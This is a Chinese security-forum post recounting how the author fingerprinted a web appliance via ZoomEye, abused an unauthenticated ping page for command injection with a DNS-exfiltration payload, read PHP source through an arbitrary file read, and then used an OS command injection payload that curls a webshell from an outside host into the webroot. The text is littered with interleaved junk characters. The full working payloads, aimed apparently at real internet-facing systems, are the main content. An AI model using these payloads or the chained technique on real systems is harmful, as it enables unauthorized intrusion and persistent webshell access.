中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin    时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
+ Z6 W8 v- e9 V+ a7 k- e0 s' h** **寻找突破口**5 h/ U8 ?  I! D# U
( d& M$ D: j. ]7 W
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**
' Z. y$ O3 L0 B$ ?$ w& P* [+ G" O
![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")/ H4 D1 O8 ^% [, C

" P& ?% x' Y/ E6 E4 C2 B2 Y9 I! Q3 L4 J1 u4 @
& P& L" n8 s, n% T! O# r! P# L3 u$ q4 m
**发现reporter和[Technology,! |4 {/ U7 l! R! k3 s5 a
Inc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
' ^# @- P/ I' Z2 d# O; O% d3 W! f$ T# |* _( ?% ^6 G% h& H
**地址为:**4 C6 d1 J# K( P* ]) A5 P
3 H3 \: I# |- G  a* K2 e
[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**,如图:**
: I$ o( `+ S& ^0 n
9 Q! k  u; K$ d- E# b& o![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
. ?" W1 z; {1 ~* U1 x9 k( d
2 o  z( I- z4 f, G3 t2 T- a5 H8 V2 I7 t1 Z1 \

) k+ x0 `% b2 S# G* |8 a; ^; W5 l**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
$ r' k  Y& c! E: S6 w7 m7 w& v3 C- |1 N
**`whoami`.1111.ceye.io** **,如图:**
4 c) j$ }% B1 R: U0 x- O; _3 h9 f, f  Q
![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
: E/ c, O% o" }0 s' x- p! H8 O- m$ Y
$ W: w9 w! M- `7 m7 S" ^

5 q- G; R6 z$ s**返回dns记录如图:**
( W! H" P4 A6 b, V
9 V+ I, W: k& u) t' y3 w5 b![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
6 l5 j2 w' s/ L+ b5 l3 U+ `# m
7 h, Y0 R+ c+ @3 G6 J" H% P1 c" K. P, |  W

, G  a/ X" x: t  a**发现当前用户权限为root**
. m) k! g+ U) R  O# ?+ b$ c' O5 p6 \; ^7 y
**一、
9 n8 p2 e- z" n9 z! U& k- [- ^** **通过漏洞组合getwebshell**4 s, Z6 ~, Q) }6 x8 ~! n

7 m" e4 P0 j, B( }**    ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**) E+ n, O2 V7 I
1 {% k8 Z1 I5 S2 x+ [
![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
6 U! `7 ?, C5 I* O' O# e5 D' ?
. A) c& I7 `/ m# @0 |
2 m; N5 i' g1 K9 v+ b% V& S: Y$ n% N( l, U7 t7 _7 h  v
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**7 W9 n( G5 L5 [: x8 Z: D

$ F, S- p, Z) K3 V: O**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**' Y7 U4 h1 Q# b7 q! i* _

. ?" D/ K, M1 J- \1 E. `# a5 E![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
+ Q9 |# ]1 u2 D, w6 {- \
$ p% J/ C5 C  n" P6 r**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**' q# M; Y* I) i) _- Y9 p

6 K$ @, t& |7 B! y![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\3 w- ]# j: S4 w' V" x  P! P

+ R* m4 |  E+ N( _
3 Z9 N( ~5 d1 a5 E**源代码为:*** h) |, J3 ]. S

) L, X$ o: n# |6 u, L<?php
9 y2 {! P. f; uinclude_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");6 e/ h8 X& s2 N
?>
' L. e6 K, Y/ u: k) t/ g( w# \* `* \5 I) K& f5 b5 |: u
<?php0 h. Z8 I! L8 C/ h

5 w$ ?- j& L6 D5 A8 o- o9 q% ^1 s; J0 I0 E, O& Z( J1 y8 I3 n
1 t% v0 {" @3 n( L7 A5 p
session_start ();
2 h1 o: p% r# s0 V  B8 {% T
9 p  g9 L. l7 {9 N
4 F7 Z/ H" _3 V' ~5 Z% c0 s
) u7 O2 _4 h9 C, b
* s& x! _  ~  R% L. m
3 Z5 V) X6 Y7 I% S) V- c# `$ i% ~& o, O- T; R8 `, x7 T
% a1 l2 c% {) x  X; O# A' S
if ($_GET ["objClass"] == "")
# @' p" \$ h+ x$ [& M1 o0 j- V6 h  q; Y4 p
0 G& {/ a. e5 w$ y7 `
( G: X4 Z1 l  q( \' ^, c
      exit ();
. V; i" ]7 }" i% m; v2 S& y( b( }
, J. k8 F+ g7 U" ]
7 z# c, S# y# Y
$param = $_REQUEST;4 |/ V: ?: S, O  X! r
; z: ]5 j4 h2 |' S0 ~/ C
4 |! j+ D  n9 b; X

; Q% ]% s9 J7 T; a) ~+ g6 \5 f9 c
! e1 t# {- g  z, G% y8 q
/ B4 N% }  C9 m) m. s7 u/ o/ q
6 N) T$ N' r/ c  l+ V
' m3 }8 a  N3 g/ p6 I//echo "\n--------------------------\n";( L; r5 m( _4 P2 [6 c

& a6 e9 k* U0 C9 j" Z0 o! E% F% e. i$ t$ C
4 G- K2 b- E2 A! g( u/ R1 L: n
//print_r($param);
4 I3 v/ G+ V+ b1 {/ Q) d
5 P5 J" \( c; L( D. r! o- w& e0 a5 v2 j0 T5 ]0 {  Y: ^. c+ V% {7 P
4 ], C+ o; _0 e. a% W
//echo "\n--------------------------\n";
# {$ H$ o. H. |4 w/ t: G* x5 U+ r1 A

; z3 p7 O- K; h: z3 J. d5 x) W/ [
- E. O1 y4 d! w) M0 h; k[if ($_GET ["method"] ==# B% J/ W: N6 R5 H9 k" t9 i
"getList" || $_GET ["method"] == "import" ||6 m1 B% u- B$ Q
$_GET ["method"] == "processAlarm") ](){/ \1 A3 E" b# K- f+ Q9 \. H9 X
0 i% b2 g4 g+ z/ f+ @. _7 G

5 q0 y$ U5 r  D. c3 X4 ?) N5 _  O7 N; A0 C2 `
      $param
) H! [* J* O  C* ]+ \["user"] = $_SESSION ["s_userName"];
8 Z+ x8 x. d/ E, n2 p6 k3 q; \0 U: y) L. p5 H& Y

' R( Q" Q  [* L/ \0 ]& l- d0 C# W- _
  S0 |2 A* Y$ T% J4 c+ ^      $param
, L. F: H4 x1 y) {6 S8 b["lan"] = $_SESSION ["lan"];
- K, J1 r% g9 F5 _8 Y
! S& @- w) \# V/ ^) \8 F, K; y; h! m4 _. o$ f7 h6 e; w% r! y. {% u8 s- A

* b: I& ?* d) R9 `+ {! ?3 H$ y      $param
: S9 W& V2 ^0 N& s["regUserpath"] = $_SESSION ["regUserpath"];
" l7 s0 D, {( H, l3 i' X, @5 Q
; k0 N# T- u( V% `3 ?- V3 C6 i7 G* p1 O* Z6 i' ]

  y2 A7 U' B* P. j   
# j4 ~, _8 x& v. H4 W
; _  {# t9 N4 E
# O: i) ?9 Y& Z& U# q4 a$ J
) z/ K4 S7 W, v      exec (
6 H' a. E/ Q9 O6 B* o0 J# x. `# n"rm -rf /tmp/cache" );. _  N9 Y$ x/ B. d  h4 l3 C

5 T" B, z' k6 |' R
! Z: O" l( j, d5 E1 s" y* @! L$ h. k: J  ~  ^& u$ b; d6 H  [
      [$cmd = "/usr/local/php/bin/php ".$_SERVER, S3 Y4 p7 {/ ]( u; z
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
9 w3 l' R1 g0 u  Q( G8 k" B) E5 w# Y  ]7 B  j8 |! b
, i4 j" g8 q9 @1 O9 D" L

! ^" ?8 Y# K# |' y      $cmd .=
6 B+ Y2 k; T7 _& H5 N% K) f" " . $_GET ["objClass"];4 q& t! B6 K- L% ?6 A
9 z8 B* x; s" z5 u7 h8 P+ i

" `& }" Q2 r" B! ^5 B0 V' R/ Y) U, U. o/ K. @
      $cmd .=
# W# N% B7 s/ J) ^" V# a: c* c" " . $_GET ["method"];! y9 ?" T# D& t( [: @' Q- e
2 h; V8 n) m! P7 g
+ ?- K* L2 L9 n) \. U

" [' G& f7 c% {1 M      $cmd .=; \1 T+ r) u4 ]  a) o
" " . base64_encode ( json_encode ( $param ) );
+ ]# o( D, g; h9 ~# Y. X  z- f/ c
7 s; `5 r& p1 [  ?% d. r. \( d) Z$ `5 ?* F, V7 a6 P" n
, Z# o1 Y; h8 y+ d
      [file_put_contents("/tmp/query_cmd",$cmd);]()' t: `+ b. v+ |, n

- J* U. |1 d% h
' c6 o4 r" e6 _6 @
: a# L+ l/ L* D7 V' B4 @$ Y3 L) y% ]      exec ( $cmd . " 6 X: P) K8 }9 B; ^7 p
> /dev/null &" );
* R) ?6 L8 F4 @7 T3 D9 p4 v# E. x/ [1 }5 P

6 M# q! U2 c, T$ {# D7 v# V5 w+ w( K! B
; k, x& E- A; D; a2 e" h7 ?' X
2 @+ x$ f2 W1 L# o+ g* \. }! s+ A  Z+ ^5 W) O. w* ^8 J" n3 U, X
} else {) t7 g/ T: m) |, w9 j
& l! y' }/ G; X3 Q
4 t- a2 v. C% U6 s3 F
" I; s- ^9 w- [- s+ J4 r
      require_once( w! o3 S2 m, s+ S! a8 {
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");3 d/ B; p( @9 X. u, A7 j+ m3 I) o5 O
+ H$ T5 f- e& t  ]; G1 k
& b9 W  W2 [3 O' }* I. Q3 W, K/ [7 K* m

% u, A" T7 m5 [9 b      $obj = new2 g$ _9 V$ X% U2 }
QueryInterface ();
( g. A' e, E" r+ v+ U% ~/ N, P- e* i! q7 J
8 {5 q- E) N) Z4 ]2 D: B

: x  _8 g; n9 H1 l9 |+ f      $instance =/ b( f1 ~. m3 \9 X" o9 K3 q! V
$obj->getInstance ();! Z$ @/ a6 a! R+ D* P

+ y$ y7 F& `& j+ [" C# M9 u* h9 m- {# m. |+ T+ L3 ^7 B3 ~4 U. m8 J

, d( j. N/ t; H* w      $instance->invokeMethod
7 v: [7 b  D4 |0 A" z: g( $_GET ["objClass"], $_GET ["method"], $param );
" N5 _$ c. S8 z9 `1 r$ T( _  c" Y, u: A# g* e& k( K
+ a5 n/ o# d2 }
9 x: d( t7 f) q7 c8 ]/ t' v
}# S$ e8 y9 m. a- O' ]
- e( i4 m0 s# E$ t3 Y- k% o
. B5 k1 S- H) ]4 d3 f/ e
/ K2 m3 W: U! a" A
exit ();
$ w- t3 J& y0 @# R6 Z+ Z
6 j1 g1 E! s' c& K" _" M, ]5 ^. _9 K$ L  ?: E) s8 K
) S2 I& _' b& a, ^
?>
6 y, r% z( E  G" x2 Z; r* L
* _( Z' \+ O  b**经常简单审计发现if ($_GET8 d1 Z' w5 f; O
["method"] == "getList" || $_GET ["method"] ==
; F- W7 O+ d- C"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =$ D9 B$ M8 ]& o& j4 g9 s/ R% h
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .- n; B# n8 x, j2 G+ c" H. c
"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
' D8 ]2 S+ `+ k5 E/ z
) G# E% v, H' z$ G0 a6 ^$ t1 ~**      exec ( $cmd
1 V' j6 Q( d3 _. "  > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**$ Q& v( T+ q- G2 E) O, j9 X
( B7 d9 B; G0 W8 U& E2 K1 w9 Z

; e# C+ _, B7 Z0 U* ^- S+ n![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")
3 q: x3 W$ D. H4 w* g# ~2 R3 Q) O  Z/ ]0 ~6 ^. u
/ F9 c( M9 W; L. A

) y; u$ q; q  y+ ^**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
/ M$ D' s/ i: Y- h0 I  V$ q( j" R) _7 H6 S
**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
3 b* M& t+ E5 C) |& h! m: }/ H
! Q1 t6 ]4 s5 _, h0 Q' o**我们用url解码如下:**1 v2 D6 }0 }+ H

: R. A$ y( j' T4 b4 Q8 s& ?**|curl http://1.1.1.1/qYCwxRz1.zip -o
: [5 j- d  z  M% w/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o
, y8 ]- G- I' f. f# U/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)
* B- |. S( X- I7 j# P3 S  _/ {  @+ s& w8 J' s! V5 L& s
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
3 T5 ^2 ]0 v7 u! R4 I( G& G
: V% Z6 c9 _+ p) N% R, A- Y& h- k1 ?" c) U" a+ K* B
![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")9 a/ \. o) m9 ]3 h# g$ q' _" {$ D. }
# Z# C- D* ~# a3 x3 ^. z5 v# m8 S& a

# }/ Q$ z% J/ Q$ v6 A+ Q" v
$ |* R' }9 X. g. {: N' V- T- V  r7 F# `% A
**三、总结**/ Q2 g. N: G4 i) r# u. \' d
% ^6 v+ I& J+ Q, y. ]
**   ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
9 d3 A# A  ]5 ^: Q; T$ i/ D
+ i% H8 A+ B! x$ Y+ T4 ]**   ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **5 L3 C$ d1 D5 L3 ]' a7 W8 p
[/md]




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2